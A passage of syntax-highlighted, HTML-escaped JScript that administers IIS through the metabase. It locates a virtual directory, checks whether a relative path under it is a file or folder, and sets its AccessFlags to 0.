color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;s.length-&lt;/FONT&gt;&lt;FONT color=#800000&gt;1&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;else&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;endindex&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;=&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;s.length&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;RelResourcePath&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;=&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;s.substring(startindex,&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;endindex)&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#006400&gt;// Verify existence of vdir path &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#006400&gt;// Technically we can get this working even if this is a web directory, but that has more steps to it &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#006400&gt;// So we will stick to VDirs for now. &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;try&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;{&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;VdirObj&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;=&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;GetObject(&lt;/FONT&gt;&lt;FONT color=#808080&gt;"IIS://localhost/" &lt;/FONT&gt;&lt;FONT color=#000000&gt;+&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;VdirMBPath)&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;}&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;catch&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;(e)&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;{&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;VdirObj&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;=&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;null;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;}&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;if&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;(&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;VdirObj&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;==&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;null&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;)&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;{&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;WScript.Echo(&lt;/FONT&gt;&lt;FONT color=#808080&gt;"Error: Could not locate virtual directory " &lt;/FONT&gt;&lt;FONT color=#000000&gt;+&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;VdirMBPath)&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;WScript.Quit()&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;}&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#006400&gt;// Check if the Metabase has a&amp;nbsp; web directory/file for this. &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;try&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;{&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;var&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;Path&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;=&lt;/FONT&gt;&lt;FONT color=#808080&gt; "IIS://localhost/" &lt;/FONT&gt;&lt;FONT color=#000000&gt;+&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;VdirMBPath&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;+&lt;/FONT&gt;&lt;FONT color=#808080&gt; "/" &lt;/FONT&gt;&lt;FONT color=#000000&gt;+&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;RelResourcePath&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;WebObj&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;=&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;GetObject(Path)&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#006400&gt;// We should be able to directly set the AccessFlag then. &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;WebObj.Put(&lt;/FONT&gt;&lt;FONT color=#808080&gt; "AccessFlags"&lt;/FONT&gt;&lt;FONT color=#000000&gt;,&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#800000&gt;0&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;)&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;WebObj.SetInfo()&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;WScript.Echo(&lt;/FONT&gt;&lt;FONT color=#808080&gt;"Done"&lt;/FONT&gt;&lt;FONT color=#000000&gt;)&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;WScript.Quit()&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;}&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;catch&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;(e)&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;{&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;WebObj&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;=&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;null;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;}&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#006400&gt;// We will need to create the web directory/file under the vdir. &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#006400&gt;// Validate that the relative path exists under the vdir and if it&amp;nbsp; &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#006400&gt;// is a file or folder &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;try&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;{&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;var&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;FSObject&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;=&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;new&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;ActiveXObject&lt;/FONT&gt;&lt;FONT color=#000000&gt;(&lt;/FONT&gt;&lt;FONT color=#808080&gt;"Scripting.FileSystemObject"&lt;/FONT&gt;&lt;FONT color=#000000&gt;)&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;var&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;PhysicalPath&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;=&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;VdirObj.Path&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;+&lt;/FONT&gt;&lt;FONT color=#808080&gt; "\\" &lt;/FONT&gt;&lt;FONT color=#000000&gt;+&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;RelResourcePath&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;if&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;(&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;FSObject.FileExists(PhysicalPath)&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;)&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;{&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;IsFile&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;=&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;true;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;}&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;else&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;if&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;(&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;FSObject.FolderExists(PhysicalPath)&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;)&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;{&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;IsFolder&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;=&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;true;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;}&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;if&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;(&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;!(&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;IsFile&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;||&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;IsFolder&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;)&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;)&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;{&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;WScript.Echo(&lt;/FONT&gt;&lt;FONT color=#808080&gt;"Error: Could not locate " &lt;/FONT&gt;&lt;FONT color=#000000&gt;+&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;RelResourcePath&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;+&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; " under physical path of " &lt;/FONT&gt;&lt;FONT color=#000000&gt;+&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;VdirMBPath)&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;WScript.Quit()&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;}&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;}&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;catch&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;(e)&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;{&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;WScript.Echo(&lt;/FONT&gt;&lt;FONT color=#808080&gt;"Error: Could not create file system object."&lt;/FONT&gt;&lt;FONT color=#000000&gt;)&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;WScript.Quit()&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;}&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#006400&gt;// Recursively create web folders for the relative path, making sure&amp;nbsp; &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#006400&gt;// the last one is either folder or file. &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;SplitPath&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;=&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;RelResourcePath.split(&lt;/FONT&gt;&lt;FONT color=#808080&gt;"/"&lt;/FONT&gt;&lt;FONT color=#000000&gt;)&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;var&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;CurrentPath&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;=&lt;/FONT&gt;&lt;FONT color=#808080&gt; "IIS://localhost/" &lt;/FONT&gt;&lt;FONT color=#000000&gt;+&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;VdirMBPath&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;for&lt;/FONT&gt;&lt;FONT 